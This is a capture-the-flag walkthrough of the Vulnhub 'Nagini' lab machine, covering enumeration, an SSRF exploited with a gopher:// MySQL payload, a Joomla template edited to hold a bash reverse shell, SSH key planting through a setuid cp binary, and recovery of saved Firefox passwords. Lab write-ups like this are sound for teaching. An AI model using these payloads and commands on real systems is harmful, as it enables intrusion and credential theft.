Nagini - Harry Potter

Walkthrough of the Nagini machine from the Vulnhub Harry Potter series

Nagini - Harry Potter

Link to VulnHub

Nagini is the 2nd VM of 3-box HarryPotter VM series in which you need to find 3 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

Port scanning

We start by trying to detect all the ports open of the server. To do this we do a scan against all ports (-p-), using a the fastest time template (-T5), filtering by open ports (--open), and disabling DNS resolution (-n) and host discovery (-Pn):

nmap --open -p- -T5 -n -Pn 10.0.0.103

Result:

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-24 17:23 CET Nmap scan report for 10.0.0.103 Host is up (0.013s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 5.22 seconds

From this port scan we can conclude that ports 22 (SSH) and 80 (HTTP) are open. Now that we know which ports are open we perform a deeper scan to find out which services are running on those ports and their versions (-sCV):

nmap -p22,80 -sCV -Pn -n 10.0.0.103

Result:

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-24 17:28 CET Nmap scan report for 10.0.0.103 Host is up (0.0074s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA) | 256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA) |_ 256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds

From the result of this scan we obtain the following services and versions:

  • 22/TCP: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  • 80/TCP: HTTP - Apache httpd 2.4.38 ((Debian))

HTTP Service Analysis (80/TCP)

Home page (/)

The first thing we can do is enter the IP of the machine in the browser and see what is exposed on port 80:

Nagini home page

At first glance we can already see that the only content of the page is the image itself, and that it doesn't use any technology or load any external resources, so let's try to list more URLs of the application.

To list more URLs we are going to use Gobuster with a web content oriented dictionary using different extensions (-x):

gobuster dir --url http://10.0.0.103 -x html,txt,php --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Result:

=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.103 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php,html [+] Timeout: 10s =============================================================== 2023/01/25 18:37:11 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 97] /note.txt (Status: 200) [Size: 234] /joomla (Status: 301) [Size: 309] [--> http://10.0.0.103/joomla/] /server-status (Status: 403) [Size: 275] =============================================================== 2023/01/25 18:43:16 Finished ===============================================================

From the result we obtain that there are 3 more paths that can be interesting:

  • /note.txt: we will analyze it next
  • /joomla: which redirects to /joomla/
  • /server-status: which we can not access because it gives us an error 403 Forbidden.

The note (/note.txt)

The first thing that catches our attention is the /note.txt file, so let's see what it contains:

Hello developers!! I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications. All developers are requested to visit the server regularly for checking latest announcements. Regards, site_amdin

In the note it tells us that it is a service exposed through the HTTP3 protocol. To make a request through this protocol we have to install the library quiche following the instructions on the page. After making the build we process the request:

cd target/debug/examples/ ./http3-client https://10.0.0.103

Getting as result:

<html> <head> <title>Information Page</title> </head> <body> Greetings Developers!! I am having two announcements that I need to share with you: 1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers.So I will be removing the same by this week. 2. All developers are requested not to put any configuration's backup file (.bak) in main production servers as they are readable by every one. Regards, site_admin </body> </html>

From here we get the following information:

  • The existence of a new url: /internalResourceFeTcher.php.
  • The possible existence of *.bak files.

Joomla (/joomla/)

After obtaining the above information, the next thing we can do is to access the second url we have obtained and see what we are dealing with (although it is quite obvious from the url name):

Nagini joomla page

As we can see, we have a Joomla CMS login page.

Additionally, we can try to get a little more information using the WhatWeb tool:

whatweb http://10.0.0.103/joomla/

Result:

http://10.0.0.103/joomla/ [200 OK] Apache[2.4.38], Bootstrap, Cookies[61d503cb58c868455ea4ba1b5621a5dc], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], HttpOnly[61d503cb58c868455ea4ba1b5621a5dc], IP[10.0.0.103], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PasswordField[password], Script[application/json], Title[Home]

Apparently WhatWeb in this case is not providing us with any information we didn't already know, so let's use a more specific tool to scan a Joomla CMS:

joomscan -u http://10.0.0.103/joomla/

Significant result:

... [+] Checking sensitive config.php.x file [++] Readable config file is found config file path : http://10.0.0.103/joomla/configuration.php.bak Your Report : reports/10.0.0.103/

From there we can get the path to a *.bak file as we had read in the HTML of the HTTP/3 request. Now using curl we get the file:

curl http://10.0.0.103/joomla/configuration.php.bak

Significant result:

<?php class JConfig { // ... public $dbtype = 'mysqli'; public $host = 'localhost'; public $user = 'goblin'; public $password = ''; public $db = 'joomla'; // ... }

This .bak file gives us a lot of information. It is telling us that locally there is a MySQL database that is not exposed (we have not seen any port with this service open), whose user is goblin, which has no password, and that the information is in a database called joomla.

The internals (/internalResourceFeTcher.php)

From the request via HTTP/3 we also got that there was an additional url, so let's see what we find there:

internal resource fetcher

The first thing we can do is put "localhost" in the form field and click in "Fetch". What we observe is that it is making a request to the own server, that means that we are in front of a SSRF.

Since we know that we have a MySQL database without password and an SSRF is given, we can make use of Gopherus to make queries on it by means of the Gopher protocol.

To use Gopherous, first we install it following the instructions of the repository itself and then we use it to generate the queries to obtain/confirm the following information using the user goblin:

  • joomla: database
  • joomla_users: table of Joomla users
  • site_admin: user name
  • username: name of the column with the users' names
  • password: name of the column with the hashed passwords
  • $2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWWqFWjzEW7vay: password hashing

The first thing we can try is to crack the password with John the Ripper. To do this, we first create a file with the hashes (hashes.txt):

site_admin:$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay

And run John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Despite leaving it for a while we are not going to get the password, so what we can try to do is to change the user's password using Gopher. For that we first generate a new password using md5:

echo -n "test123456" | md5sum

Result:

47ec2dd791e31e2ef2076caf64ed9b3d -

Then we generate the query with Gopherus to modify the user's password:

________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______ / \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/ \ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \ \______ /\____/| __/|___| /\___ >__| |____//____ > \/ |__| \/ \/ \/ author: $_SpyD3r_$ For making it work username should not be password protected!!! Give MySQL username: goblin Give query to execute: USE joomla; update joomla_users set password='47ec2dd791e31e2ef2076caf64ed9b3d' where username='site_admin'; Your gopher link is ready to do SSRF : gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6d%00%00%00%03%55%53%45%20%6a%6f%6f%6d%6c%61%3b%20%75%70%64%61%74%65%20%6a%6f%6f%6d%6c%61%5f%75%73%65%72%73%20%73%65%74%20%70%61%73%73%77%6f%72%64%3d%27%34%37%65%63%32%64%64%37%39%31%65%33%31%65%32%65%66%32%30%37%36%63%61%66%36%34%65%64%39%62%33%64%27%20%77%68%65%72%65%20%75%73%65%72%6e%61%6d%65%3d%27%73%69%74%65%5f%61%64%6d%69%6e%27%3b%01%00%00%00%01 -----------Made-by-SpyD3r-----------

We enter that string, press the "Fetch" button, and we should be able to authenticate them in the Joomla admin panel, located at /joomla/administrator, with the new password.

joomla adminstrator page

Now that we have access to the Joomla administration panel, the next thing we have to do is to get a RCE. To do this we go to the templates section, and there we click on "Protostar Details and Files". Once inside, we go to the error.php page and modify it to set a reverse shell to the attacking machine:

<?php /** * @package Joomla.Site * @subpackage Templates.protostar * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Reverse shell os.system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.102/8888 0>&1'"); /** @var JDocumentError $this */ $app = JFactory::getApplication(); $user = JFactory::getUser();

Next, we will start listening with Netcat:

nc -nlvp 8888

Getting the confirmation message that we are listening:

listening on [any] 8888 ...

And we force an error on the page so that the error page is executed. One way to cause it would be to add "<>" to the url of the index.php (http://10.0.0.103/joomla/index.php/<>). After going to that url a connection to our Netcat should be established:

connect to [10.0.0.102] from (UNKNOWN) [10.0.0.103] 39902 www-data@Nagini:/var/www/html/joomla$

As we can see, we have access to the machine as the user www-data. Now, in order to have a fully interactive shell, we launch a pseudo console with script /dev/null -c bash, press Ctrl + z and do a tty treatment with stty raw -echo; fg. We do reset to restart the terminal configuration, type xterm as terminal type and export 2 environment variables:

  • export TERM=xterm
  • export SHELL=bash

With this we should be able to do Ctrl + c to end the execution of a command, or Ctrl + l to clear the terminal. We can also go back in the command history.

If we investigate a bit through the /var/www folders it won't take long to find the first horcrux in /var/www/html/horcrux1.txt: horcrux_{MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O}.

After getting the first horcrux we can try to see what the users have in their respective directories. If we list the contents of user snape's directory we can find a suspicious file /home/snape/.creds.txt. If we open it we see the following:

TG92ZUBsaWxseQ==

This looks like a base 64 string, so we try to decode what we have in the file:

cat /home/snape/.creds.txt | base64 -d; echo

From that command we get that the string in plaintext is Love@lilly. If we use that text as the password to connect as the user snape via SSH we can check that it is the correct password for that user.

Now that we have a connection via SSH we can list the directory of the user hermoine to see what we find there. At first glance we see 3 interesting things:

  • /home/hermoine/.mozilla: may have user credentials, although we do not yet have access to this directory.
  • /home/home/hermoine/horcrux2.txt: second horcrux to which we do not have read permissions
  • /home/hermoine/bin/su_cp: binary that looks like a copy of the cp command but with the setuid of the user hermoine.

Using that binary, what we are going to do is to try to introduce a public key (of which we have the private key) inside /home/hermoine/.ssh/authorized_keys. To do this we generate file authorized_keys with the content of id_rsa.pub, and copy it to the keys folder of hermoine:

/home/hermoine/bin/su_cp authorized_keys /home/hermoine/.ssh/

After this we try to connect via SSH to the victim machine with the user hermoine using the private key:

ssh hermoine@10.0.0.103 -i .ssh/id_rsa

As we can see, we did not need any kind of password to connect as the user hermoine using the key as a form of authentication.

Now we have permissions to view the second horcrux (/home/hermoine/horcrux2.txt): horcrux_{NDogSGVsZ2EgSHVVmZmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=}.

Once we are authenticated as hermoine, we already have access to the /home/hermoine/.mozilla folder, so let's see if we can retrieve any valid credentials from there.

If we navigate to .mozilla/firefox we can see that we have a profile (g2mhbq0o.default) from which we can get both the key4.db and logins.json files. Using these 2 files together with the tool Firepwd we can try to recover the stored passwords.

To do this we install the tool, bring both files and run it:

python firepwd.py -d mozilla

Significant result:

... http://nagini.hogwarts:b'root',b'@Alohomora#123'

From the last line of the execution we get that the password of the user root is @Alohomora#123, so let's try to see if we can connect with SSH.

Once we have logged in as root we can see the third horcrux (/root/horcrux3.txt): horcrux_{NTogRGlhZGVtIG9mIFJhdmVuY2xhdyBkZXN0cm95ZWQgYnkgSGFycnk=}.